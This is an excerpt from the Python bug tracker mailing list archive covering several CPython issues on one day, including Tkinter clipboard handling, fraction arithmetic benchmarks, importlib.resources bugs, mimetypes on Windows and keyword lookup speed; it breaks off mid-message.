17 07:51:22 2021 From: report at bugs.python.org (Tal Einat) Date: Mon, 17 May 2021 11:51:22 +0000 Subject: [issue40452] Tkinter/IDLE: preserve clipboard on closure In-Reply-To: <1588268147.56.0.852233274654.issue40452@roundup.psfhosted.org> Message-ID: <1621252282.46.0.609150361752.issue40452@roundup.psfhosted.org> Tal Einat added the comment: After thinking about this a bit more, it seems to me that using an atexit handler is definitely worth pursuing, but not for 3.10.0. I'm in favor of merging the existing PR as an immediate fix for IDLE, and following up with a general solution for tkinter using atexit, which should also include some tests so that we can see that it works on our CI and buildbots. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 17 07:59:21 2021 From: report at bugs.python.org (Stefan Behnel) Date: Mon, 17 May 2021 11:59:21 +0000 Subject: [issue43420] Optimize rational arithmetics In-Reply-To: <1615040297.73.0.541090358152.issue43420@roundup.psfhosted.org> Message-ID: <1621252761.58.0.951790706843.issue43420@roundup.psfhosted.org> Stefan Behnel added the comment: Just FYI, I applied the same changes to the quicktions [1] module, a Cython compiled (and optimised) version of fractions.Fraction. [1] https://github.com/scoder/quicktions/ The loss in performance for small values is much higher there, almost 2x for the example given (compared to 10-20% for CPython): $ python3.8 -m timeit -r11 -s 'from fractions import Fraction as F' -s 'a=F(10,3)' -s 'b=F(6, 5)' 'a * b' 100000 loops, best of 11: 1.94 usec per loop Original: $ python3.8 -m timeit -r11 -s 'from quicktions import Fraction as F' -s 'a=F(10,3)' -s 'b=F(6, 5)' 'a * b' 1000000 loops, best of 11: 214 nsec per loop Patched: $ python3.8 -m timeit -r11 -s 'from quicktions import Fraction as F' -s 'a=F(10,3)' -s 'b=F(6, 5)' 'a * b' 500000 loops, best of 11: 391 nsec per loop For the larger values example, the gain is tremendous, OTOH: $ python3.8 -m timeit -r11 -s 'from fractions import Fraction as F' -s 'import random' -s 'n = [random.randint(1, 1000000) for _ in range(1000)]' -s 'd = [random.randint(1, 1000000) for _ in range(1000)]' -s 'a=list(map(lambda x: F(*x), zip(n, d)))' 'sum(a)' 2 loops, best of 11: 150 msec per loop Original: $ python3.8 -m timeit -r11 -s 'from quicktions import Fraction as F' -s 'import random' -s 'n = [random.randint(1, 1000000) for _ in range(1000)]' -s 'd = [random.randint(1, 1000000) for _ in range(1000)]' -s 'a=list(map(lambda x: F(*x), zip(n, d)))' 'sum(a)' 2 loops, best of 11: 135 msec per loop Patched: $ python3.8 -m timeit -r11 -s 'from quicktions import Fraction as F' -s 'import random' -s 'n = [random.randint(1, 1000000) for _ in range(1000)]' -s 'd = [random.randint(1, 1000000) for _ in range(1000)]' -s 'a=list(map(lambda x: F(*x), zip(n, d)))' 'sum(a)' 50 loops, best of 11: 9.65 msec per loop I'll have to see if the slowdown can be mitigated somehow. Interesting enough, the telco benchmark seems to benefit slightly from this: Original: $ python3.8 benchmark/telco_fractions.py -n 200 # avg 0.0952927148342 Patched: $ python3.8 benchmark/telco_fractions.py -n 200 # avg 0.0914235627651 ---------- nosy: +scoder _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 17 08:07:39 2021 From: report at bugs.python.org (Sergey B Kirpichev) Date: Mon, 17 May 2021 12:07:39 +0000 Subject: [issue43420] Optimize rational arithmetics In-Reply-To: <1615040297.73.0.541090358152.issue43420@roundup.psfhosted.org> Message-ID: <1621253259.33.0.710210520887.issue43420@roundup.psfhosted.org> Sergey B Kirpichev added the comment: > I'll have to see if the slowdown can be mitigated somehow. Yes, for small components this is a known slowdown. I'm trying to mitigate that case in https://github.com/python/cpython/pull/25518. Except for the mixed mode (Fraction's+int) - this match the original performance. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 17 08:10:25 2021 From: report at bugs.python.org (Sam Schott) Date: Mon, 17 May 2021 12:10:25 +0000 Subject: [issue36153] Freeze support documentation is misleading. In-Reply-To: <1551401372.79.0.134624139836.issue36153@roundup.psfhosted.org> Message-ID: <1621253425.92.0.644325230507.issue36153@roundup.psfhosted.org> Sam Schott added the comment: I think freeze_support becomes relevant always when the start method is spawn since `sys.executable` will point to the frozen app bundle instead of the Python interpreter. Spawn was historically only used on Windows (therefore the note in the docs) but now also is the default for macOS. The start method can of course also be set manually and it might therefore make more sense to specify the start method instead of the platform in the docs. ---------- nosy: +samschott _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 17 08:32:33 2021 From: report at bugs.python.org (Xavier Morel) Date: Mon, 17 May 2021 12:32:33 +0000 Subject: [issue44157] redirect_* should also redirect C-level streams Message-ID: <1621254753.52.0.230769289673.issue44157@roundup.psfhosted.org> New submission from Xavier Morel : In 3.4 (resp. 3.5), `redirect_stdout` and `redirect_stderr` were added to provide easy and reentrant stream redirection. Although that is documented, it seems like a waste that they only redirect the high-level `sys.std*` streams: those are already pretty easy to redirect by simply setting the corresponding attribute, which is essentially what the contextmanager does. However, * that does not work if the writer has imported the original stream object (`from sys import stderr`) * that does not work if the writer bypasses or is not aware of the Python layer e.g. a native library In that case, the user still has to deal with dup/dup2 dances in order to redirect the underlying fds, which is significantly more error-prone (and verbose) than intercepting the high-level `sys.std*` ever was. On the other hand, it's also less expressive as it requires an actual fd, rather than a Python-level file-like object. So I can understand not doing it by default. But still, I think I feel like it'd be very useful to either expand the existing context managers to perform fd redirection, or have a separate context manager able to redirect arbitrary fds. ---------- components: Library (Lib) messages: 393810 nosy: xmorel priority: normal severity: normal status: open title: redirect_* should also redirect C-level streams type: enhancement versions: Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 17 10:15:44 2021 From: report at bugs.python.org (Steve Dower) Date: Mon, 17 May 2021 14:15:44 +0000 Subject: [issue44147] [WinError 193] %1 is not a valid Win32 application In-Reply-To: <1621163700.55.0.343536154291.issue44147@roundup.psfhosted.org> Message-ID: <1621260944.05.0.791837256548.issue44147@roundup.psfhosted.org> Steve Dower added the comment: >> Usually this error occurs due to PATH conflicts. > > Python 3.8 and above does not use PATH when importing extension modules For this issue, the PATH conflict would be that "pip" and "python" refer to different Python installs. However, this one is more likely because it was run in the Visual Studio Developer Console, which overrides pip's platform detection making it think that it's a 32-bit runtime. The fix is slowly making its way through the various third-party projects that needed to be fixed, so soon the answer will be "python -m pip install --upgrade pip". Until then, you can either run Python using a regular command prompt/PowerShell prompt, or you can use Visual Studio's x64 command prompt instead. ---------- status: pending -> open _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 17 10:23:54 2021 From: report at bugs.python.org (Eric V. Smith) Date: Mon, 17 May 2021 14:23:54 +0000 Subject: [issue44109] missing dataclass decorator in match-statement example In-Reply-To: <1620736569.02.0.465666569793.issue44109@roundup.psfhosted.org> Message-ID: <1621261434.22.0.996290416105.issue44109@roundup.psfhosted.org> Eric V. Smith added the comment: I agree with Raymond: a more useful example would use dataclasses or typing.NamedTuple. The use of class variables is unusual, and it took me a while to understand how it would work. ---------- nosy: +eric.smith _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 17 10:51:44 2021 From: report at bugs.python.org (=?utf-8?q?Filipe_La=C3=ADns?=) Date: Mon, 17 May 2021 14:51:44 +0000 Subject: [issue44137] importlib.resources.path raises RuntimeError when FileNotFoundError is raise in context manager In-Reply-To: <1621020560.88.0.325550849747.issue44137@roundup.psfhosted.org> Message-ID: <1621263104.58.0.355057029221.issue44137@roundup.psfhosted.org> Filipe La?ns added the comment: This was fixed in https://github.com/python/cpython/pull/22915. It can be closed now. ---------- nosy: +FFY00 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 17 10:56:26 2021 From: report at bugs.python.org (=?utf-8?q?Filipe_La=C3=ADns?=) Date: Mon, 17 May 2021 14:56:26 +0000 Subject: [issue43643] importlib.readers.MultiplexedPath.name is not a property In-Reply-To: <1616880106.57.0.50019170707.issue43643@roundup.psfhosted.org> Message-ID: <1621263386.29.0.461024294055.issue43643@roundup.psfhosted.org> Filipe La?ns added the comment: For references, this was fixed in https://github.com/python/importlib_resources/commit/9822338e8de57e99aa3c26275ebdbf8925af7bc8#diff-811ea42dba2528e9a6cbedc91e993dc2a9d4b65626ad364c6ded7b03e0d0a1fa and should go into CPython in the next code sync. ---------- nosy: +FFY00 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 17 11:05:40 2021 From: report at bugs.python.org (Nils Kattenbeck) Date: Mon, 17 May 2021 15:05:40 +0000 Subject: [issue44137] importlib.resources.path raises RuntimeError when FileNotFoundError is raise in context manager In-Reply-To: <1621020560.88.0.325550849747.issue44137@roundup.psfhosted.org> Message-ID: <1621263940.54.0.0738491226014.issue44137@roundup.psfhosted.org> Nils Kattenbeck added the comment: Yes I understand that the function handles this specially to not raise an exception if the file is not found in the package (even though the intention behind this is not clear to me). However if a user causes a FileNotFoundException itself inside of the context manager everything breaks (e.g. does something erroneous with the path, calls subprocess.run with a non existing binary etc). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 17 11:21:58 2021 From: report at bugs.python.org (=?utf-8?q?Filipe_La=C3=ADns?=) Date: Mon, 17 May 2021 15:21:58 +0000 Subject: [issue44137] importlib.resources.path raises RuntimeError when FileNotFoundError is raise in context manager In-Reply-To: <1621020560.88.0.325550849747.issue44137@roundup.psfhosted.org> Message-ID: <1621264918.63.0.136057598053.issue44137@roundup.psfhosted.org> Filipe La?ns added the comment: The supress(FileNotFoundError) context manager now is only active when fetching the file, not during importlib.resources.path. _path_from_resource_path is not longer a generator, so supress(FileNotFoundError) is promptly closed after the return, preventing its side effects from leaking outside the function. Your reproducible now works as intended: Traceback (most recent call last): File "/home/anubis/git/cpython/test.py", line 9, in main() File "/home/anubis/git/cpython/test.py", line 6, in main raise FileNotFoundError() FileNotFoundError ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 17 11:33:23 2021 From: report at bugs.python.org (E. Paine) Date: Mon, 17 May 2021 15:33:23 +0000 Subject: [issue40452] Tkinter/IDLE: preserve clipboard on closure In-Reply-To: <1588268147.56.0.852233274654.issue40452@roundup.psfhosted.org> Message-ID: <1621265603.57.0.91645317839.issue40452@roundup.psfhosted.org> E. Paine added the comment: > I don't think this worked if the Tcl interpreter had been garbage collected Turns out I was wrong, it appears it *does* work. The only thing we need to change is ensuring the GIL is held when calling finalise (because, as Guido's comment says, this process can call Python code). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 17 11:57:13 2021 From: report at bugs.python.org (Guido van Rossum) Date: Mon, 17 May 2021 15:57:13 +0000 Subject: [issue40452] Tkinter/IDLE: preserve clipboard on closure In-Reply-To: <1588268147.56.0.852233274654.issue40452@roundup.psfhosted.org> Message-ID: <1621267033.12.0.364127794272.issue40452@roundup.psfhosted.org> Guido van Rossum added the comment: I don't recall anything about that, sorry. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 17 11:57:18 2021 From: report at bugs.python.org (Guido van Rossum) Date: Mon, 17 May 2021 15:57:18 +0000 Subject: [issue40452] Tkinter/IDLE: preserve clipboard on closure In-Reply-To: <1588268147.56.0.852233274654.issue40452@roundup.psfhosted.org> Message-ID: <1621267038.91.0.068219157045.issue40452@roundup.psfhosted.org> Change by Guido van Rossum : ---------- nosy: -gvanrossum _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 17 12:59:38 2021 From: report at bugs.python.org (Zachary Kneupper) Date: Mon, 17 May 2021 16:59:38 +0000 Subject: [issue44135] issubclass documentation doesn't explain tuple semantic In-Reply-To: <1621016667.05.0.821636272564.issue44135@roundup.psfhosted.org> Message-ID: <1621270778.7.0.74704004842.issue44135@roundup.psfhosted.org> Change by Zachary Kneupper : ---------- keywords: +patch nosy: +zkneupper nosy_count: 3.0 -> 4.0 pull_requests: +24810 stage: -> patch review pull_request: https://github.com/python/cpython/pull/26193 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 17 13:35:10 2021 From: report at bugs.python.org (miss-islington) Date: Mon, 17 May 2021 17:35:10 +0000 Subject: [issue43650] MemoryError on zip.read in shutil._unpack_zipfile In-Reply-To: <1616966483.79.0.479664444023.issue43650@roundup.psfhosted.org> Message-ID: <1621272910.62.0.947157273397.issue43650@roundup.psfhosted.org> miss-islington added the comment: New changeset 049c4125f8a2b482c6129db68463f58e20c31526 by Miss Islington (bot) in branch '3.9': bpo-43650: Fix MemoryError on zip.read in shutil._unpack_zipfile for large files (GH-25058) https://github.com/python/cpython/commit/049c4125f8a2b482c6129db68463f58e20c31526 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 17 13:35:34 2021 From: report at bugs.python.org (Gregory P. Smith) Date: Mon, 17 May 2021 17:35:34 +0000 Subject: [issue43650] MemoryError on zip.read in shutil._unpack_zipfile In-Reply-To: <1616966483.79.0.479664444023.issue43650@roundup.psfhosted.org> Message-ID: <1621272934.08.0.109710068503.issue43650@roundup.psfhosted.org> Gregory P. Smith added the comment: New changeset 7a588621c2854bcef6ce9eeb54349b84ac078c45 by Miss Islington (bot) in branch '3.10': bpo-43650: Fix MemoryError on zip.read in shutil._unpack_zipfile for large files (GH-25058) (GH-26190) https://github.com/python/cpython/commit/7a588621c2854bcef6ce9eeb54349b84ac078c45 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 17 13:36:05 2021 From: report at bugs.python.org (Gregory P. Smith) Date: Mon, 17 May 2021 17:36:05 +0000 Subject: [issue43650] MemoryError on zip.read in shutil._unpack_zipfile In-Reply-To: <1616966483.79.0.479664444023.issue43650@roundup.psfhosted.org> Message-ID: <1621272965.79.0.922507986235.issue43650@roundup.psfhosted.org> Gregory P. Smith added the comment: thanks for the patch! ---------- resolution: remind -> fixed stage: patch review -> commit review status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 17 14:38:58 2021 From: report at bugs.python.org (Aaron Gallagher) Date: Mon, 17 May 2021 18:38:58 +0000 Subject: [issue14965] super() and property inheritance behavior In-Reply-To: <1338433441.66.0.975494137492.issue14965@psf.upfronthosting.co.za> Message-ID: <1621276738.72.0.53383385101.issue14965@roundup.psfhosted.org> Change by Aaron Gallagher : ---------- nosy: +Aaron Gallagher nosy_count: 20.0 -> 21.0 pull_requests: +24811 stage: needs patch -> patch review pull_request: https://github.com/python/cpython/pull/26194 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 17 14:48:05 2021 From: report at bugs.python.org (Zachary Kneupper) Date: Mon, 17 May 2021 18:48:05 +0000 Subject: [issue30274] Rename 'name' to 'fullname' argument to ExtensionFileLoader In-Reply-To: <1493936689.45.0.0881901800669.issue30274@psf.upfronthosting.co.za> Message-ID: <1621277285.42.0.752402177378.issue30274@roundup.psfhosted.org> Change by Zachary Kneupper : ---------- keywords: +patch nosy: +zkneupper nosy_count: 4.0 -> 5.0 pull_requests: +24812 pull_request: https://github.com/python/cpython/pull/26195 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 17 15:09:13 2021 From: report at bugs.python.org (Catherine Devlin) Date: Mon, 17 May 2021 19:09:13 +0000 Subject: [issue28937] str.split(): allow removing empty strings (when sep is not None) In-Reply-To: <1481469102.15.0.255147638686.issue28937@psf.upfronthosting.co.za> Message-ID: <1621278553.19.0.228321338872.issue28937@roundup.psfhosted.org> Change by Catherine Devlin : ---------- nosy: +Catherine.Devlin nosy_count: 11.0 -> 12.0 pull_requests: +24813 stage: test needed -> patch review pull_request: https://github.com/python/cpython/pull/26196 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 17 15:12:49 2021 From: report at bugs.python.org (Catherine Devlin) Date: Mon, 17 May 2021 19:12:49 +0000 Subject: [issue28937] str.split(): allow removing empty strings (when sep is not None) In-Reply-To: <1481469102.15.0.255147638686.issue28937@psf.upfronthosting.co.za> Message-ID: <1621278769.85.0.442659418822.issue28937@roundup.psfhosted.org> Catherine Devlin added the comment: @ZackerySpytz - I made https://github.com/python/cpython/pull/26196 with a test for the desired behavior; hopefully it helps. I could try to adapt Barry's old patch myself, but it's probably better if somebody C-competent does so... ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 17 15:41:50 2021 From: report at bugs.python.org (=?utf-8?q?Filipe_La=C3=ADns?=) Date: Mon, 17 May 2021 19:41:50 +0000 Subject: [issue42516] Add function to get caller's name In-Reply-To: <1606773286.82.0.837636543351.issue42516@roundup.psfhosted.org> Message-ID: <1621280510.31.0.734765697056.issue42516@roundup.psfhosted.org> Change by Filipe La?ns : ---------- nosy: +FFY00 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 17 15:42:35 2021 From: report at bugs.python.org (miss-islington) Date: Mon, 17 May 2021 19:42:35 +0000 Subject: [issue33433] ipaddress is_private misleading for IPv4 mapped IPv6 addresses In-Reply-To: <1525527294.14.0.682650639539.issue33433@psf.upfronthosting.co.za> Message-ID: <1621280555.15.0.567803464235.issue33433@roundup.psfhosted.org> miss-islington added the comment: New changeset a44bb6ddb17538b7b2096d13eb79a1208bd97f34 by Miss Islington (bot) in branch '3.10': bpo-33433 Fix private address checking for IPv4 mapped IPv6. (GH-26172) https://github.com/python/cpython/commit/a44bb6ddb17538b7b2096d13eb79a1208bd97f34 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 17 15:43:01 2021 From: report at bugs.python.org (Gregory P. Smith) Date: Mon, 17 May 2021 19:43:01 +0000 Subject: [issue33433] ipaddress is_private misleading for IPv4 mapped IPv6 addresses In-Reply-To: <1525527294.14.0.682650639539.issue33433@psf.upfronthosting.co.za> Message-ID: <1621280581.45.0.51431822509.issue33433@roundup.psfhosted.org> Gregory P. Smith added the comment: thanks! ---------- resolution: -> fixed stage: patch review -> commit review status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 17 15:46:00 2021 From: report at bugs.python.org (Andres Gomez) Date: Mon, 17 May 2021 19:46:00 +0000 Subject: [issue44158] Clarify documentation for redirected stdout/stderr when using subprocess in Linux Message-ID: <1621280760.31.0.799968756172.issue44158@roundup.psfhosted.org> New submission from Andres Gomez : 1. Redirect the stderr and stdout with contextlib's redirect_stderr, redirect_stdout or just by replacing the fd in sys.stderr and sys.stdout 2. We run a subprocess with subprocess.run() 3. The documentation for subprocess states: https://docs.python.org/3/library/subprocess.html#frequently-used-arguments " With the default settings of None, no redirection will occur; the child?s file handles will be inherited from the parent. " 4. The documentation for contextlib states: https://docs.python.org/3/library/contextlib.html?highlight=contextlib#contextlib.redirect_stdout " Note that the global side effect on sys.stdout means that this context manager is not suitable for use in library code and most threaded applications. It also has no effect on the output of subprocesses. " 5. The stdout and stderr for the subprocess-ed command is not redirected, as stated in the contextlib documentation. It took me a while to realize that redirecting stdout and stderr didn't have an effect in the child subprocess. It would be great if this could be improved so the subproccess-ed command also inherits the redirection. At the very least, this issue with the redirection should be added as a notice in the subprocess documentation. The attached test.py script shows this behavior. The code is very simple and self-explanatory. You can run with: # test.py or # test.py -n Somehow, related to: https://bugs.python.org/issue1227748 ---------- components: Library (Lib) files: test.py messages: 393825 nosy: tanty priority: normal severity: normal status: open title: Clarify documentation for redirected stdout/stderr when using subprocess in Linux type: behavior versions: Python 3.7, Python 3.8, Python 3.9 Added file: https://bugs.python.org/file50048/test.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 17 15:54:58 2021 From: report at bugs.python.org (Norman Lorrain) Date: Mon, 17 May 2021 19:54:58 +0000 Subject: [issue44159] mimetypes - "strict" on Windows Message-ID: <1621281298.07.0.0030957833024.issue44159@roundup.psfhosted.org> New submission from Norman Lorrain : On Windows 10 machine, unit tests show this error: 0:05:10 load avg: 3.24 [221/427/1] test_mimetypes failed test test_mimetypes failed -- Traceback (most recent call last): File "D:\github\cpython\lib\test\test_mimetypes.py", line 289, in test_guess_type eq(type_info, "I don't know anything about type foo.pic") AssertionError: 'type: image/pict encoding: None' != "I don't know anything about type foo.pic" - type: image/pict encoding: None + I don't know anything about type foo.pic The test is verifying that the code reports `image/pict` as a *non-standard* MIME type: def test_guess_type(self): eq = self.assertEqual type_info = self.mimetypes_cmd("-l", "foo.pic") eq(type_info, "type: image/pict encoding: None") type_info = self.mimetypes_cmd("foo.pic") eq(type_info, "I don't know anything about type foo.pic") Looking in my registry, I see the entry for `.pic` [HKEY_CLASSES_ROOT\.pic] @="QuickTime.pic" "Content Type"="image/pict" ...etc The module seems to report everything it finds in the registry as "strict" ---------- components: Library (Lib) messages: 393826 nosy: Norman Lorrain priority: normal severity: normal status: open title: mimetypes - "strict" on Windows type: behavior versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 17 15:59:42 2021 From: report at bugs.python.org (=?utf-8?q?J=C3=BCrgen_Gmach?=) Date: Mon, 17 May 2021 19:59:42 +0000 Subject: [issue41963] ConfigParser: stripping of comments should be documented In-Reply-To: <1602055269.91.0.0897084304522.issue41963@roundup.psfhosted.org> Message-ID: <1621281582.19.0.916115136606.issue41963@roundup.psfhosted.org> Change by J?rgen Gmach : ---------- keywords: +patch pull_requests: +24814 stage: -> patch review pull_request: https://github.com/python/cpython/pull/26197 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 17 16:07:31 2021 From: report at bugs.python.org (Norman Lorrain) Date: Mon, 17 May 2021 20:07:31 +0000 Subject: [issue44159] mimetypes - "strict" on Windows In-Reply-To: <1621281298.07.0.0030957833024.issue44159@roundup.psfhosted.org> Message-ID: <1621282051.43.0.360725062769.issue44159@roundup.psfhosted.org> Norman Lorrain added the comment: Possible solution is to read the Windows Registry entries, assigning those entries as "strict=False". Unit tests pass with this change: diff --git a/Lib/mimetypes.py b/Lib/mimetypes.py index 018793c4f0..dd2bddf064 100644 --- a/Lib/mimetypes.py +++ b/Lib/mimetypes.py @@ -350,7 +350,7 @@ def init(files=None): if files is None or _db is None: db = MimeTypes() if _winreg: - db.read_windows_registry() + db.read_windows_registry(strict = False) if files is None: files = knownfiles ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 17 16:18:59 2021 From: report at bugs.python.org (Catherine Devlin) Date: Mon, 17 May 2021 20:18:59 +0000 Subject: [issue4928] tempfile.NamedTemporaryFile: automatic cleanup by OS In-Reply-To: <1231838566.25.0.143957228078.issue4928@psf.upfronthosting.co.za> Message-ID: <1621282739.1.0.159968174784.issue4928@roundup.psfhosted.org> Change by Catherine Devlin : ---------- keywords: +patch nosy: +Catherine.Devlin nosy_count: 8.0 -> 9.0 pull_requests: +24815 stage: test needed -> patch review pull_request: https://github.com/python/cpython/pull/26198 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 17 16:33:43 2021 From: report at bugs.python.org (Zachary Kneupper) Date: Mon, 17 May 2021 20:33:43 +0000 Subject: [issue44151] Improve parameter names and return value ordering for linear_regression In-Reply-To: <1621194509.14.0.657666659025.issue44151@roundup.psfhosted.org> Message-ID: <1621283623.21.0.437089727894.issue44151@roundup.psfhosted.org> Change by Zachary Kneupper : ---------- keywords: +patch nosy: +zkneupper nosy_count: 5.0 -> 6.0 pull_requests: +24816 stage: -> patch review pull_request: https://github.com/python/cpython/pull/26199 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 17 16:43:20 2021 From: report at bugs.python.org (Dennis Sweeney) Date: Mon, 17 May 2021 20:43:20 +0000 Subject: [issue44160] speed up searching for keywords by using a dictionary Message-ID: <1621284200.3.0.196820291472.issue44160@roundup.psfhosted.org> New submission from Dennis Sweeney : This patch ensures keyword-passing happens in linear time, fulfilling the 26-year-old TODO comment in ceval.c: XXX speed up searching for keywords by using a dictionary from time import perf_counter from itertools import repeat def bench(N): reps = 1 + 10_000_000 // N kwargs = {"a"*i: None for i in range(1, N+1)} param_list = ",".join(kwargs) function = eval(f"lambda {param_list}: 17") t0 = perf_counter() for _ in repeat(None, reps): result = function(**kwargs) t1 = perf_counter() assert result == 17 return (t1 - t0) / reps for i in list(range(1, 11)) + [20, 50, 100, 200, 500, 1000]: print(f"{i} --> {bench(i):.2e}") before: 1 --> 1.73e-07 2 --> 2.22e-07 3 --> 2.57e-07 4 --> 3.25e-07 5 --> 3.93e-07 6 --> 4.87e-07 7 --> 5.92e-07 8 --> 7.02e-07 9 --> 8.40e-07 10 --> 9.59e-07 20 --> 3.11e-06 50 --> 1.49e-05 100 --> 5.61e-05 200 --> 2.21e-04 500 --> 1.29e-03 1000 --> 5.09e-03 after: 1 --> 1.78e-07 2 --> 2.14e-07 3 --> 2.37e-07 4 --> 2.63e-07 5 --> 2.87e-07 6 --> 3.31e-07 7 --> 3.41e-07 8 --> 3.66e-07 9 --> 3.84e-07 10 --> 4.17e-07 20 --> 8.17e-07 50 --> 1.77e-06 100 --> 3.66e-06 200 --> 8.10e-06 500 --> 2.82e-05 1000 --> 7.95e-05 ---------- components: Interpreter Core messages: 393828 nosy: Dennis Sweeney priority: normal severity: normal status: open title: speed up searching for keywords by using a dictionary type: performance versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 17 16:43:37 2021 From: report at bugs.python.org (Dennis Sweeney) Date: Mon, 17 May 2021 20:43:37 +0000 Subject: [issue44160] speed up searching for keywords by using a dictionary In-Reply-To: <1621284200.3.0.196820291472.issue44160@roundup.psfhosted.org> Message-ID: <1621284217.73.0.845829646068.issue44160@roundup.psfhosted.org> Change by Dennis Sweeney : ---------- keywords: +patch pull_requests: +24817 stage: -> patch review pull_request: https://github.com/python/cpython/pull/26200 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 17 17:06:00 2021 From: report at bugs.python.org (Eryk Sun) Date: Mon, 17 May 2021 21:06:00 +0000 Subject: [issue44147] [WinError 193] %1 is not a valid Win32 application In-Reply-To: <1621163700.55.0.343536154291.issue44147@roundup.psfhosted.org> Message-ID: <1621285560.93.0.975926009592.issue44147@roundup.psfhosted.org> Eryk Sun added the comment: > For this issue, the PATH conflict would be that "pip" and "python" > refer to different Python installs. I'm aware of the problem for a per-user installation prior to 3.10. However, none of the install commands use the "--user" option, else I would have suggested it. That said, it wouldn't surprise me that I overlooked something, or multiple things, since packaging is my weakest area. > Visual Studio Developer Console, which overrides pip's platform > detection making it think that it's a 32-bit runtime Why did you change the issue status back to "open"? By marking it as pending, I was trying to encourage getting help on forums first. If the "more likely" explanation that you suggest is the case, then the problem likely would have been recognized in forums, or probably referred to pip's issue tracker. The first impulse shouldn't be to create an issue on CPython's issue tracker to "solve this problem" for a configuration or coding problem that can't be resolved on one's own. I see novices doing this occasionally because they aren't aware yet of the other support channels that are available to them. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 17 17:12:30 2021 From: report at bugs.python.org (Niels Hofmans) Date: Mon, 17 May 2021 21:12:30 +0000 Subject: [issue44161] free: invalid pointer on graph and photo.message imports Message-ID: <1621285950.49.0.418651001882.issue44161@roundup.psfhosted.org> New submission from Niels Hofmans : Ref https://github.com/googleapis/python-pubsub/issues/414#issuecomment-842446505 @hazcod observed a fault when importing google.cloud.pubsub_v1 as above; # strace python3 -c 'from google.cloud import pubsub_v1' ... writev(2, [{iov_base="free(): invalid pointer", iov_len=23}, {iov_base="\n", iov_len=1}], 2free(): invalid pointer ) = 24 ... --- SIGABRT {si_signo=SIGABRT, si_code=SI_TKILL, si_pid=306, si_uid=0} --- +++ killed by SIGABRT +++ Aborted But importing google.cloud.pubsub_v1 isn't really required here; the fault can be reproduced with importing only these two dependencies... python3 -c 'import proto.message, grpc;' free(): invalid pointer Aborted Importing either by itself doesn't crash. Further, importing them in the other order doesn't crash. I do not understand why. python3 -c 'import grpc, proto.message; print(grpc, proto.message)' ---------- components: Library (Lib) messages: 393830 nosy: hazcod priority: normal severity: normal status: open title: free: invalid pointer on graph and photo.message imports type: crash versions: Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 17 17:13:26 2021 From: report at bugs.python.org (T M) Date: Mon, 17 May 2021 21:13:26 +0000 Subject: [issue44162] importlib.resources.path no longer supports directories Message-ID: <1621286006.08.0.980082746272.issue44162@roundup.psfhosted.org> New submission from T M : In Python 3.7 and 3.8, importlib.resources.path worked perfectly with a directory. For example: with importlib.resources.path(__package__, "dir") as dir: os.listdir(dir) In Python 3.9, this is raised: IsADirectoryError: [Errno 21] Is a directory: 'dir' I haven't seen this change documented. I don't know if the behavior in 3.7 and 3.8 was a bug, it sure was useful. In this case, we have web files which we want to serve statically from that folder. Naming them file by file could work, but would be tedious and isn't preferable for us. Thank you! ---------- messages: 393831 nosy: gitpushdashf priority: normal severity: normal status: open title: importlib.resources.path no longer supports directories type: behavior versions: Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 17 17:19:15 2021 From: report at bugs.python.org (Catherine Devlin) Date: Mon, 17 May 2021 21:19:15 +0000 Subject: [issue35889] sqlite3.Row doesn't have useful repr In-Reply-To: <1549112536.04.0.744689521798.issue35889@roundup.psfhosted.org> Message-ID: <1621286355.8.0.716624432964.issue35889@roundup.psfhosted.org> Catherine Devlin added the comment: What about a __repr__ that includes the primary key value(s) (for tables where that is defined)? That would be useful and informative, and also generally short. ---------- nosy: +Catherine.Devlin _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 17 17:22:42 2021 From: report at bugs.python.org (Andrei Kulakov) Date: Mon, 17 May 2021 21:22:42 +0000 Subject: [issue43858] Provide method to get list of logging level names In-Reply-To: <1618508817.95.0.500447634147.issue43858@roundup.psfhosted.org> Message-ID: <1621286562.3.0.384510916778.issue43858@roundup.psfhosted.org> Andrei Kulakov added the comment: I can add getLevelNamesDict() which would return a copy of _nameToLevel, which is currently _nameToLevel = { 'CRITICAL': CRITICAL, 'FATAL': FATAL, 'ERROR': ERROR, 'WARN': 